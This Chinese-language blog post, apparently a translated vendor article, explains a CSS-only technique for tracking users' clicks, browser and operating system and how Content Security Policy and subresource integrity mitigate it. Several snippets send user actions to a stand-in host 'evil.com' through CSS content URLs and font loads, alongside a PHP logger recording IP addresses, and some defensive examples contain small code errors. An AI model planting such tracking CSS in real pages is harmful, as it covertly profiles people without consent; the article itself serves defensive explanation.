• 你还在用Cookie追踪用户记录?为什么不试试用CSS追踪用户?
  • 发布于 1周前
  • 49 热度
    0 评论
2018年初,一个物理专业的学生Jan Böhmer创建了一个网站,用来跟踪和记录用户的点击、鼠标移动、浏览器类型和操作系统等数据。虽然用户跟踪并不新鲜,但他的方法不需要JavaScript、插件或外部库。实际上,它只使用了普通HTML文本和一点CSS。

它是如何工作的

Böhmer的概念利用了CSS的两个特性:将内容注入HTML元素的能力,以及在用户执行操作后更改样式的能力。网站的工作方式是在执行操作时使用content属性设置URL。此URL调用一个脚本,该脚本记录有关操作的详细信息,这些操作作为URL参数进行传递。使用::before和::after CSS选择器设置这个URL可以确保只在执行操作时调用URL,而不是在页面首次加载时调用URL。

例如,下面的CSS在每次单击#link元素时调用一次URL:
#link:active::after {
    content: url("https://evil.com/track?action=link_clicked");
}

跟踪脚本包含记录事件和操作执行次数的代码。它还可以用于提取用户的IP地址、用户代理和其他标识信息。

下面是这样一个脚本在PHP中的示例:
<?php
session_start();

// Prints the time that the script ran
print("Timestamp: " . time());

// Prints the action specified by the action parameter (in this case, "link_clicked")
print("Action: " . $_REQUEST['action']);

// Prints the user's IP address
print("IP Address: " . $_SERVER['REMOTE_ADDR']);

// Prints the user's browser agent
print("User Agent: " . $_SERVER['HTTP_USER_AGENT']);
?>

检测浏览器类型

用户可以欺骗浏览器的用户代理,但是 Böhmer绕过了这个问题,他使用@supports at-rule(at-rule 是CSS样式声明,以@开头,紧跟着是标识符(charset),最后以分号(;)结尾。)测试浏览器特定的CSS属性。例如,下面的操作通过检测--webkit-appearance是可用的,而-ms-ime-align是不可用的来检测Chrome浏览器:
@supports (-webkit-appearance:none) and (not (-ms-ime-align:auto)){
    #chrome_detect::after {
        content: url("https://evil.com/track?action=browser_chrome");
    }
}

检测操作系统

Böhmer甚至使用字体检测来识别用户的操作系统。例如,通过检测浏览器是否支持Calibri字体家族,我们可以假定浏览器运行在Windows中:
// stylesheet.css
@font-face {
    font-family: Font1;
    src: url("https://evil.com/track?action=font1");
}

#font_detection {
    font-family: Calibri, Font1;
}
<!-- page.html -->
<div id="font_detection">test</div>

Böhmer关于此概念的验证可以识别其他数据点,包括浏览器窗口的大小和方向、用户是否单击了链接以及用户在一个元素上停留的时间。

这种攻击在浏览器中非常难以预防。完全防止它的唯一方法就是禁用CSS,这会使网站无法使用。然而,通过使用内容安全策略(CSP),可以减少攻击者利用此漏洞的机会。

使用内容安全策略减少CSS泄漏
CSP是一组规则,它决定浏览器可以执行哪些操作,不能执行哪些操作。CSP通常用于防止跨站脚本攻击(XSS)和由浏览器加载不信任脚本导致的其他攻击。虽然CSP通常用于JavaScript文件,但它也可以应用于CSS样式和样式表。

考虑一个使用第三方提供商托管的样式表的网站。攻击者破坏样式表并将用户跟踪代码添加到页面上的链接:
// Malicious CSS
#link:active::after {
    content: url("https://evil.com/track?action=link_clicked");
}
<!-- page.html -->
<a href="https://www.google.com" id="link">Click here</a>

当用户点击该链接时,他们的浏览器调用evil.com上托管的跟踪脚本。由于这完全是通过浏览器完成的,网站所有者完全不知道这个漏洞。

Content-Security-Policy通过设置允许哪些样式以及样式来源等规则来防止这种情况。

禁用内联样式

禁用内联样式是CSP提供的最大安全好处之一。内联样式是直接在HTML文档中声明的样式(或使用JavaScript设置的样式),而不是从样式表加载的样式。内联样式——尤其是动态生成的样式或用户创建的样式——非常难以保护。这就是为什么CSP通常会锁定所有内联脚本和样式,并将那些已被特别批准的内联脚本和样式列入白名单。

以下规则将阻止所有内联样式以及外部托管的样式表:
Content-Security-Policy "style-src 'self';"

使用Hash和Nonce验证样式

如果阻塞内联样式是不可行的,你仍然可以使用hash和nonce来确保CSS的完整性。

Hash是由一个文件或字符串的内容生成的单向字符串。在样式表或内联样式上执行哈希函数时,除非样式发生改变,否则它总是返回相同的结果。这对于将某些内联样式和样式表加入白名单是很有用的,只需要同时验证样式没有被修改或篡改。
Content-Security-Policy "default-src 'self'; style-src 'sha256-MUNBNkRCNDMwQzZFNjI4Mzc2MzIzNTMwOEFCMEZEMzkxQjVGN0NGMEE5MjBFRDQ2N0MwNTgzNkUwRDIzNTdCRA=='"
// validstylesheet.css
#link {
    color: blue;
    Font-style: bold;
}

Nonce的功能与hash类似。使用nonce,将为每个请求生成一个新的随机数,这使得攻击者更难猜测它的值。这避免了hash的一个关键缺点,即多个输入可能生成相同的hash值(称为冲突)。
Content-Security-Policy "default-src 'self'; style-src 'nonce-SGVsbG8gd29ybGQh"
// page.html
<style nonce="SGVsbG8gd29ybGQh">…</style>

验证外部托管的样式表

样式表通常托管在第三方服务器上,如内容交付网络(content delivery networks, CDNs),但这带来了新的攻击方向。如果CDN受到威胁,如何阻止攻击者用自己修改过的版本替换样式表?子资源完整性,也叫SRI,试图解决这个问题。

SRI使用hash值来验证脚本和样式表的内容。计算每个文件的hash值,并将其附加到HTML元素的integrity属性中。当浏览器下载脚本或样式表时,计算其hash值并将其与存储在属性中的值进行比较。如果匹配,浏览器将加载脚本或样式。
// page.html
<style src="https://cdn.example.com/styles/style.css" integrity="sha256-wFNeS+K3n/2TKRMFQ2v4iTFOSj+uwF7P/Lt98xrZ5Ro=" crossorigin="anonymous"></style>
// style.css
#link {
    color: blue;
    Font-style: bold;
}

这是在假设web页面是从受信任的源(如源服务器)提交的情况下运行的,而当资源是从不受信任的源(如第三方)提交的时候,就无法正常运行。如果web页面和资源都由第三方托管,攻击者只需要简单地修改web页面来匹配其CSS替换文件的hash值即可。

结论

虽然通过CSS跟踪用户的能力并不新鲜,但它确实要求我们以不同的方式考虑网页上的隐私和安全性。CSS是现代网页的基本语言之一,禁用网站的CSS将使网页的大部分内容无法使用。内容安全策略是阻止XSS攻击和CSS泄漏的最佳方法。Templarbit创建了一个“灵活的内容-安全-策略工作流”,以便于维护CSP头文件。如果你的团队正在努力为你的应用程序推出CSP,请立即注册一个免费试用版,并学习更多关于Templarbit如何解决CSS泄露的方法.

你可以在GitHub上找到Böhmer的概念验证的源代码。
用户评论